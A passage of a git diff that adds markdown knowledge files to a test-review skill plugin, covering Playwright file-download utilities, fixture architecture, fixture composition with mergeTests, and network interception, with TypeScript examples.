+| `filePath`  | `string` | Path to XLSX file              |
+| `sheetName` | `string` | Name of sheet to set as active |
+
+### PDF Reader Options
+
+| Option       | Type      | Default | Description                 |
+| ------------ | --------- | ------- | --------------------------- |
+| `filePath`   | `string`  | -       | Path to PDF file (required) |
+| `mergePages` | `boolean` | `true`  | Merge text from all pages   |
+| `maxPages`   | `number`  | -       | Maximum pages to extract    |
+| `debug`      | `boolean` | `false` | Enable debug logging        |
+
+### ZIP Reader Options
+
+| Option          | Type     | Description                        |
+| --------------- | -------- | ---------------------------------- |
+| `filePath`      | `string` | Path to ZIP file                   |
+| `fileToExtract` | `string` | Specific file to extract to Buffer |
+
+### Return Values
+
+#### CSV Reader Return Value
+
+```typescript
+{
+  content: {
+    data: Array<Array<string | number>>,  // Parsed rows (excludes header row if parseHeaders: true)
+    headers: string[] | null              // Column headers (null if parseHeaders: false)
+  }
+}
+```
+
+#### XLSX Reader Return Value
+
+```typescript
+{
+  content: {
+    worksheets: Array<{
+      name: string; // Sheet name
+      rows: Array<Array<any>>; // All rows including headers
+      headers?: string[]; // First row as headers (if present)
+    }>;
+  }
+}
+```
+
+#### PDF Reader Return Value
+
+```typescript
+{
+  content: string,                        // Extracted text (merged or per-page based on mergePages)
+  pagesCount: number,                     // Total pages in PDF
+  fileName?: string,                      // Original filename if available
+  info?: Record<string, any>              // PDF metadata (author, title, etc.)
+}
+```
+
+> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
+
+#### ZIP Reader Return Value
+
+```typescript
+{
+  content: {
+    entries: Array<{
+      name: string,                       // File/directory path within ZIP
+      size: number,                       // Uncompressed size in bytes
+      isDirectory: boolean                // True for directories
+    }>,
+    extractedFiles: Record<string, Buffer | string>  // Extracted file contents by path
+  }
+}
+```
+
+> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
+
+## Download Cleanup Pattern
+
+```typescript
+test.afterEach(async () => {
+  // Clean up downloaded files
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
+
+## Comparison with Vanilla Playwright
+
+Vanilla Playwright (real test) snippet:
+
+```typescript
+// ~80 lines of boilerplate!
+const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
+
+const failure = await download.failure();
+expect(failure).toBeNull();
+
+const filePath = testInfo.outputPath(download.suggestedFilename());
+await download.saveAs(filePath);
+
+await expect
+  .poll(
+    async () => {
+      try {
+        await fs.access(filePath);
+        return true;
+      } catch {
+        return false;
+      }
+    },
+    { timeout: 5000, intervals: [100, 200, 500] },
+  )
+  .toBe(true);
+
+const csvContent = await fs.readFile(filePath, 'utf-8');
+
+const parseResult = parse(csvContent, {
+  header: true,
+  skipEmptyLines: true,
+  dynamicTyping: true,
+  transformHeader: (header: string) => header.trim(),
+});
+
+if (parseResult.errors.length > 0) {
+  throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
+}
+
+const data = parseResult.data as Array<Record<string, unknown>>;
+const headers = parseResult.meta.fields || [];
+```
+
+With File Utils, the same flow becomes:
+
+```typescript
+const downloadPath = await handleDownload({
+  page,
+  downloadDir: DOWNLOAD_DIR,
+  trigger: () => page.getByTestId('download-button-text/csv').click(),
+});
+
+const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and imports
+- `api-request.md` - API-triggered downloads
+- `recurse.md` - Poll for file generation completion
+
+## Anti-Patterns
+
+**DON'T leave downloads in place:**
+
+```typescript
+test('creates file', async () => {
+  await handleDownload({ ... })
+  // File left in downloads folder
+})
+```
+
+**DO clean up after tests:**
+
+```typescript
+test.afterEach(async () => {
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/fixture-architecture.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/fixture-architecture.md
new file mode 100644
index 0000000..0f617a4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/fixture-architecture.md
@@ -0,0 +1,401 @@
+# Fixture Architecture Playbook
+
+## Principle
+
+Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
+
+## Rationale
+
+Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
+
+- **Testability**: Pure functions run in unit tests without framework overhead
+- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
+- **Reusability**: Export fixtures via package subpaths for cross-project sharing
+- **Maintainability**: One concern per fixture = clear responsibility boundaries
+
+## Pattern Examples
+
+### Example 1: Pure Function → Fixture Pattern
+
+**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/api-request.ts
+// Step 1: Pure function (ALWAYS FIRST!)
+type ApiRequestParams = {
+  request: APIRequestContext;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  url: string;
+  data?: unknown;
+  headers?: Record<string, string>;
+};
+
+export async function apiRequest({
+  request,
+  method,
+  url,
+  data,
+  headers = {}
+}: ApiRequestParams) {
+  const response = await request.fetch(url, {
+    method,
+    data,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers
+    }
+  });
+
+  if (!response.ok()) {
+    throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
+  }
+
+  return response.json();
+}
+
+// Step 2: Fixture wrapper
+// playwright/support/fixtures/api-request-fixture.ts
+import { test as base } from '@playwright/test';
+import { apiRequest } from '../helpers/api-request';
+
+export const test = base.extend<{ apiRequest: typeof apiRequest }>({
+  apiRequest: async ({ request }, use) => {
+    // Inject framework dependency, expose pure function
+    await use((params) => apiRequest({ request, ...params }));
+  }
+});
+
+// Step 3: Package exports for reusability
+// package.json
+{
+  "exports": {
+    "./api-request": "./playwright/support/helpers/api-request.ts",
+    "./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Pure function is unit-testable without Playwright running
+- Framework dependency (`request`) injected at fixture boundary
+- Fixture exposes the pure function to test context
+- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
+
+### Example 2: Composable Fixture System with mergeTests
+
+**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from './api-request-fixture';
+import { test as networkFixture } from './network-fixture';
+import { test as authFixture } from './auth-fixture';
+import { test as logFixture } from './log-fixture';
+
+// Compose all fixtures for comprehensive capabilities
+export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
+
+export { expect } from '@playwright/test';
+
+// Example usage in tests:
+// import { test, expect } from './support/fixtures/merged-fixtures';
+//
+// test('user can create order', async ({ page, apiRequest, auth, network }) => {
+//   await auth.loginAs('customer@example.com');
+//   await network.interceptRoute('POST', '**/api/orders', { id: 123 });
+//   await page.goto('/checkout');
+//   await page.click('[data-testid="submit-order"]');
+//   await expect(page.getByText('Order #123')).toBeVisible();
+// });
+```
+
+**Individual Fixture Examples**:
+
+```typescript
+// network-fixture.ts
+export const test = base.extend({
+  network: async ({ page }, use) => {
+    const interceptedRoutes = new Map();
+
+    const interceptRoute = async (method: string, url: string, response: unknown) => {
+      await page.route(url, (route) => {
+        if (route.request().method() === method) {
+          route.fulfill({ body: JSON.stringify(response) });
+        }
+      });
+      interceptedRoutes.set(`${method}:${url}`, response);
+    };
+
+    await use({ interceptRoute });
+
+    // Cleanup
+    interceptedRoutes.clear();
+  },
+});
+
+// auth-fixture.ts
+export const test = base.extend({
+  auth: async ({ page, context }, use) => {
+    const loginAs = async (email: string) => {
+      // Use API to setup auth (fast!)
+      const token = await getAuthToken(email);
+      await context.addCookies([
+        {
+          name: 'auth_token',
+          value: token,
+          domain: 'localhost',
+          path: '/',
+        },
+      ]);
+    };
+
+    await use({ loginAs });
+  },
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines fixtures without inheritance
+- Each fixture has single responsibility (network, auth, logs)
+- Tests import merged fixture and access all capabilities
+- No coupling between fixtures—add/remove freely
+
+### Example 3: Framework-Agnostic HTTP Helper
+
+**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
+
+**Implementation**:
+
+```typescript
+// shared/helpers/http-helper.ts
+// Pure, framework-agnostic function
+type HttpHelperParams = {
+  baseUrl: string;
+  endpoint: string;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  body?: unknown;
+  headers?: Record<string, string>;
+  token?: string;
+};
+
+export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
+  const url = `${baseUrl}${endpoint}`;
+  const requestHeaders = {
+    'Content-Type': 'application/json',
+    ...(token && { Authorization: `Bearer ${token}` }),
+    ...headers,
+  };
+
+  const response = await fetch(url, {
+    method,
+    headers: requestHeaders,
+    body: body ? JSON.stringify(body) : undefined,
+  });
+
+  if (!response.ok) {
+    const errorText = await response.text();
+    throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
+  }
+
+  return response.json();
+}
+
+// Playwright fixture wrapper
+// playwright/support/fixtures/http-fixture.ts
+import { test as base } from '@playwright/test';
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+export const test = base.extend({
+  httpHelper: async ({}, use) => {
+    const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
+
+    await use((params) => makeHttpRequest({ baseUrl, ...params }));
+  },
+});
+
+// Cypress command wrapper
+// cypress/support/commands.ts
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+Cypress.Commands.add('apiRequest', (params) => {
+  const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
+  return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
+});
+```
+
+**Key Points**:
+
+- Pure function uses only standard `fetch`, no framework dependencies
+- Unit tests call `makeHttpRequest` directly with all params
+- Playwright and Cypress wrappers inject framework-specific config
+- Same logic runs everywhere—zero duplication
+
+### Example 4: Fixture Cleanup Pattern
+
+**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+  seedOrder: (orderData: Partial<Order>) => Promise<Order>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id);
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+
+  seedOrder: async ({}, use) => {
+    const createdOrders: string[] = [];
+
+    const seedOrder = async (orderData: Partial<Order>) => {
+      const order = await seedDatabase('orders', orderData);
+      createdOrders.push(order.id);
+      return order;
+    };
+
+    await use(seedOrder);
+
+    // Auto-cleanup: Delete all orders
+    for (const orderId of createdOrders) {
+      await deleteRecord('orders', orderId);
+    }
+    createdOrders.length = 0;
+  },
+});
+
+// Example usage:
+// test('user can place order', async ({ seedUser, seedOrder, page }) => {
+//   const user = await seedUser({ email: 'test@example.com' });
+//   const order = await seedOrder({ userId: user.id, total: 100 });
+//
+//   await page.goto(`/orders/${order.id}`);
+//   await expect(page.getByText('Order Total: $100')).toBeVisible();
+//
+//   // No manual cleanup needed—fixture handles it automatically
+// });
+```
+
+**Key Points**:
+
+- Track all created resources in array during test execution
+- Teardown (after `use()`) deletes all tracked resources
+- Tests don't manually clean up—happens automatically
+- Prevents test pollution and flakiness from shared state
+
+### Anti-Pattern: Inheritance-Based Page Objects
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Page Object Model with inheritance
+class BasePage {
+  constructor(public page: Page) {}
+
+  async navigate(url: string) {
+    await this.page.goto(url);
+  }
+
+  async clickButton(selector: string) {
+    await this.page.click(selector);
+  }
+}
+
+class LoginPage extends BasePage {
+  async login(email: string, password: string) {
+    await this.navigate('/login');
+    await this.page.fill('#email', email);
+    await this.page.fill('#password', password);
+    await this.clickButton('#submit');
+  }
+}
+
+class AdminPage extends LoginPage {
+  async accessAdminPanel() {
+    await this.login('admin@example.com', 'admin123');
+    await this.navigate('/admin');
+  }
+}
+```
+
+**Why It Fails**:
+
+- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
+- `AdminPage` inherits unnecessary `login` details—tight coupling
+- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
+- Hard to test `BasePage` methods in isolation
+- Hidden state in class instances leads to unpredictable behavior
+
+**Better Approach**: Use pure functions + fixtures
+
+```typescript
+// ✅ GOOD: Pure functions with fixture composition
+// helpers/navigation.ts
+export async function navigate(page: Page, url: string) {
+  await page.goto(url);
+}
+
+// helpers/auth.ts
+export async function login(page: Page, email: string, password: string) {
+  await page.fill('[data-testid="email"]', email);
+  await page.fill('[data-testid="password"]', password);
+  await page.click('[data-testid="submit"]');
+}
+
+// fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page }, use) => {
+    await login(page, 'admin@example.com', 'admin123');
+    await navigate(page, '/admin');
+    await use(page);
+  },
+});
+
+// Tests import exactly what they need—no inheritance
+```
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
+- **Related fragments**:
+  - `data-factories.md` - Factory functions for test data
+  - `network-first.md` - Network interception patterns
+  - `test-quality.md` - Deterministic test design principles
+
+## Helper Function Reuse Guidelines
+
+When deciding whether to create a fixture, follow these rules:
+
+- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
+- **2-3 uses** → Create utility module (shared within project)
+- **1 use** → Keep inline (avoid premature abstraction)
+- **Complex logic** → Factory function pattern (dynamic data generation)
+
+_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/fixtures-composition.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/fixtures-composition.md
new file mode 100644
index 0000000..93d14d0
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/fixtures-composition.md
@@ -0,0 +1,382 @@
+# Fixtures Composition with mergeTests
+
+## Principle
+
+Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
+
+## Rationale
+
+Using fixtures from multiple sources requires combining them:
+
+- Importing from multiple fixture files is verbose
+- Name conflicts between fixtures
+- Duplicate fixture definitions
+- No clear single test object
+
+Playwright's `mergeTests` provides:
+
+- **Single test object**: All fixtures in one import
+- **Conflict resolution**: Handles name collisions automatically
+- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
+- **Type safety**: Full TypeScript support for merged fixtures
+- **Maintainability**: One place to manage all fixtures
+
+## Pattern Examples
+
+### Example 1: Basic Fixture Merging
+
+**Context**: Combine multiple playwright-utils fixtures into single test object.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+// Merge all fixtures
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests - import from merged fixtures
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({
+  apiRequest, // From api-request fixture
+  authToken, // From auth fixture
+  recurse, // From recurse fixture
+}) => {
+  // All fixtures available in single test signature
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- Create one `merged-fixtures.ts` per project
+- Import test object from merged fixtures in all test files
+- All utilities available without multiple imports
+- Type-safe access to all fixtures
+
+### Example 2: Combining with Custom Fixtures
+
+**Context**: Add project-specific fixtures alongside playwright-utils.
+
+**Implementation**:
+
+```typescript
+// playwright/support/custom-fixtures.ts - Your project fixtures
+import { test as base } from '@playwright/test';
+import { createUser } from './factories/user-factory';
+import { seedDatabase } from './helpers/db-seeder';
+
+export const test = base.extend({
+  // Custom fixture 1: Auto-seeded user
+  testUser: async ({ request }, use) => {
+    const user = await createUser({ role: 'admin' });
+    await seedDatabase('users', [user]);
+    await use(user);
+    // Cleanup happens automatically
+  },
+
+  // Custom fixture 2: Database helpers
+  db: async ({}, use) => {
+    await use({
+      seed: seedDatabase,
+      clear: () => seedDatabase.truncate(),
+    });
+  },
+});
+
+// playwright/support/merged-fixtures.ts - Combine everything
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as customFixtures } from './custom-fixtures';
+
+export const test = mergeTests(
+  apiRequestFixture,
+  authFixture,
+  customFixtures, // Your project fixtures
+);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests - all fixtures available
+import { test, expect } from '../support/merged-fixtures';
+
+test('using mixed fixtures', async ({
+  apiRequest, // playwright-utils
+  authToken, // playwright-utils
+  testUser, // custom
+  db, // custom
+}) => {
+  // Use playwright-utils
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: `/api/users/${testUser.id}`,
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  // Use custom fixture
+  await db.clear();
+});
+```
+
+**Key Points**:
+
+- Custom fixtures extend `base` test
+- Merge custom with playwright-utils fixtures
+- All available in one test signature
+- Maintainable separation of concerns
+
+### Example 3: Full Utility Suite Integration
+
+**Context**: Production setup with all core playwright-utils and custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+
+// Playwright utils fixtures
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Custom project fixtures
+import { test as customFixtures } from './custom-fixtures';
+
+// Merge everything
+export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('full integration', async ({
+  page,
+  context,
+  apiRequest,
+  authToken,
+  interceptNetworkCall,
+  recurse,
+  networkRecorder,
+  testUser, // custom
+}) => {
+  // All utilities + custom fixtures available
+  await networkRecorder.setup(context);
+
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+
+  await page.goto('/users');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
+});
+```
+
+**Key Points**:
+
+- One merged-fixtures.ts for entire project
+- Combine all playwright-utils you use
+- Add custom project fixtures
+- Single import in all test files
+
+### Example 4: Fixture Override Pattern
+
+**Context**: Override default options for specific test files or describes.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '../support/merged-fixtures';
+
+// Override auth options for entire file
+test.use({
+  authOptions: {
+    userIdentifier: 'admin',
+    environment: 'staging',
+  },
+});
+
+test('uses admin on staging', async ({ authToken }) => {
+  // Token is for admin user on staging environment
+});
+
+// Override for specific describe block
+test.describe('manager tests', () => {
+  test.use({
+    authOptions: {
+      userIdentifier: 'manager',
+    },
+  });
+
+  test('manager can access reports', async ({ page }) => {
+    // Uses manager token
+    await page.goto('/reports');
+  });
+});
+```
+
+**Key Points**:
+
+- `test.use()` overrides fixture options
+- Can override at file or describe level
+- Options merge with defaults
+- Type-safe overrides
+
+### Example 5: Avoiding Fixture Conflicts
+
+**Context**: Handle name collisions when merging fixtures with same names.
+
+**Implementation**:
+
+```typescript
+// If two fixtures have same name, last one wins
+import { test as fixture1 } from './fixture1'; // has 'user' fixture
+import { test as fixture2 } from './fixture2'; // also has 'user' fixture
+
+const test = mergeTests(fixture1, fixture2);
+// fixture2's 'user' overrides fixture1's 'user'
+
+// Better: Rename fixtures before merging
+import { test as base } from '@playwright/test';
+import { test as fixture1 } from './fixture1';
+
+const fixture1Renamed = base.extend({
+  user1: fixture1._extend.user, // Rename to avoid conflict
+});
+
+const test = mergeTests(fixture1Renamed, fixture2);
+// Now both 'user1' and 'user' available
+
+// Best: Design fixtures without conflicts
+// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
+// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
+```
+
+**Key Points**:
+
+- Last fixture wins in conflicts
+- Rename fixtures to avoid collisions
+- Design fixtures with unique names
+- Playwright-utils uses descriptive names (no conflicts)
+
+## Recommended Project Structure
+
+```
+playwright/
+├── support/
+│   ├── merged-fixtures.ts        # ⭐ Single test object for project
+│   ├── custom-fixtures.ts        # Your project-specific fixtures
+│   ├── auth/
+│   │   ├── auth-fixture.ts       # Auth wrapper (if needed)
+│   │   └── custom-auth-provider.ts
+│   ├── fixtures/
+│   │   ├── user-fixture.ts
+│   │   ├── db-fixture.ts
+│   │   └── api-fixture.ts
+│   └── utils/
+│       └── factories/
+└── tests/
+    ├── api/
+    │   └── users.spec.ts          # import { test } from '../../support/merged-fixtures'
+    ├── e2e/
+    │   └── login.spec.ts          # import { test } from '../../support/merged-fixtures'
+    └── component/
+        └── button.spec.ts         # import { test } from '../../support/merged-fixtures'
+```
+
+## Benefits of Fixture Composition
+
+**Compared to direct imports:**
+
+```typescript
+// ❌ Without mergeTests (verbose)
+import { test as base } from '@playwright/test';
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+import { getAuthToken } from './auth';
+import { createUser } from './factories';
+
+test('verbose', async ({ request }) => {
+  const token = await getAuthToken();
+  const user = await createUser();
+  const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
+  // Manual wiring everywhere
+});
+
+// ✅ With mergeTests (clean)
+import { test } from '../support/merged-fixtures';
+
+test('clean', async ({ apiRequest, authToken, testUser }) => {
+  const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
+  // All fixtures auto-wired
+});
+```
+
+**Reduction:** ~10 lines per test → ~2 lines
+
+## Related Fragments
+
+- `overview.md` - Installation and design principles
+- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
+- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
+
+## Anti-Patterns
+
+**❌ Importing test from multiple fixture files:**
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+// Also need auth...
+import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+// Name conflict! Which test to use?
+```
+
+**✅ Use merged fixtures:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+// All utilities available, no conflicts
+```
+
+**❌ Merging too many fixtures (kitchen sink):**
+
+```typescript
+// Merging 20+ fixtures makes test signature huge
+const test = mergeTests(...20 different fixtures)
+
+test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
+  // Cognitive overload
+})
+```
+
+**✅ Merge only what you actually use:**
+
+```typescript
+// Merge the 4-6 fixtures your project actually needs
+const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/intercept-network-call.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/intercept-network-call.md
new file mode 100644
index 0000000..8c892d2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/intercept-network-call.md
@@ -0,0 +1,426 @@
+# Intercept Network Call Utility
+
+## Principle
+
+Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
+
+## Rationale
+
+Vanilla Playwright's network interception requires multiple steps:
+
+- `page.route()` to setup, `page.waitForResponse()` to capture
+- Manual JSON parsing
+- Verbose syntax for conditional handling
+- Complex filter predicates
+
+The `interceptNetworkCall` utility provides:
+
+- **Single declarative call**: Setup and wait in one statement
+- **Automatic JSON parsing**: Response pre-parsed, strongly typed
+- **Flexible URL patterns**: Glob matching with picomatch
+- **Spy or stub modes**: Observe real traffic or mock responses
+- **Concise API**: Reduces boilerplate by 60-70%
+
+## Pattern Examples
+
+### Example 1: Spy on Network (Observe Real Traffic)
+
+**Context**: Capture and inspect real API responses for validation.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+
+test('should spy on users API', async ({ page, interceptNetworkCall }) => {
+  // Setup interception BEFORE navigation
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users', // Glob pattern
+  });
+
+  await page.goto('/dashboard');
+
+  // Wait for response and access parsed data
+  const { responseJson, status } = await usersCall;
+
+  expect(status).toBe(200);
+  expect(responseJson).toHaveLength(10);
+  expect(responseJson[0]).toHaveProperty('name');
+});
+```
+
+**Key Points**:
+
+- Intercept before navigation (critical for race-free tests)
+- Returns Promise with `{ responseJson, status, requestBody }`
+- Glob patterns (`**` matches any path segment)
+- JSON automatically parsed
+
+### Example 2: Stub Network (Mock Response)
+
+**Context**: Mock API responses for testing UI behavior without backend.
+
+**Implementation**:
+
+```typescript
+test('should stub users API', async ({ page, interceptNetworkCall }) => {
+  const mockUsers = [
+    { id: 1, name: 'Test User 1' },
+    { id: 2, name: 'Test User 2' },
+  ];
+
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 200,
+      body: mockUsers,
+    },
+  });
+
+  await page.goto('/dashboard');
+  await usersCall;
+
+  // UI shows mocked data
+  await expect(page.getByText('Test User 1')).toBeVisible();
+  await expect(page.getByText('Test User 2')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `fulfillResponse` mocks the API
+- No backend needed
+- Test UI logic in isolation
+- Status code and body fully controllable
+
+### Example 3: Conditional Response Handling
+
+**Context**: Different responses based on request method or parameters.
+
+**Implementation**:
+
+```typescript
+test('conditional mocking', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/data',
+    handler: async (route, request) => {
+      if (request.method() === 'POST') {
+        // Mock POST success
+        await route.fulfill({
+          status: 201,
+          body: JSON.stringify({ id: 'new-id', success: true }),
+        });
+      } else if (request.method() === 'GET') {
+        // Mock GET with data
+        await route.fulfill({
+          status: 200,
+          body: JSON.stringify([{ id: 1, name: 'Item' }]),
+        });
+      } else {
+        // Let other methods through
+        await route.continue();
+      }
+    },
+  });
+
+  await page.goto('/data-page');
+});
+```
+
+**Key Points**:
+
+- `handler` function for complex logic
+- Access full `route` and `request` objects
+- Can mock, continue, or abort
+- Flexible for advanced scenarios
+
+### Example 4: Error Simulation
+
+**Context**: Testing error handling in UI when API fails.
+
+**Implementation**:
+
+```typescript
+test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
+  // Simulate 500 error
+  const errorCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 500,
+      body: { error: 'Internal Server Error' },
+    },
+  });
+
+  await page.goto('/dashboard');
+  await errorCall;
+
+  // Verify UI shows error state
+  await expect(page.getByText('Failed to load users')).toBeVisible();
+  await expect(page.getByTestId('retry-button')).toBeVisible();
+});
+
+// Simulate network timeout
+test('should handle timeout', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/slow',
+    handler: async (route) => {
+      // Never respond - simulates timeout
+      await new Promise(() => {});
+    },
+  });
+
+  await page.goto('/slow-page');
+
+  // UI should show timeout error
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
+});
+```
+
+**Key Points**:
+
+- Mock error statuses (4xx, 5xx)
+- Test timeout scenarios
+- Validate error UI states
+- No real failures needed
+
+### Example 5: Order Matters - Intercept Before Navigate
+
+**Context**: The interceptor must be set up before the network request occurs.
+
+**Implementation**:
+
+```typescript
+// INCORRECT - interceptor set up too late
+await page.goto('https://example.com'); // Request already happened
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await networkCall; // Will hang indefinitely!
+
+// CORRECT - Set up interception first
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await page.goto('https://example.com');
+const result = await networkCall;
+```
+
+This pattern follows the classic test spy/stub pattern:
+
+1. Define the spy/stub (set up interception)
+2. Perform the action (trigger the network request)
+3. Assert on the spy/stub (await and verify the response)
+
+### Example 6: Multiple Intercepts
+
+**Context**: Intercepting different endpoints in same test - setup order is critical.
+
+**Implementation**:
+
+```typescript
+test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
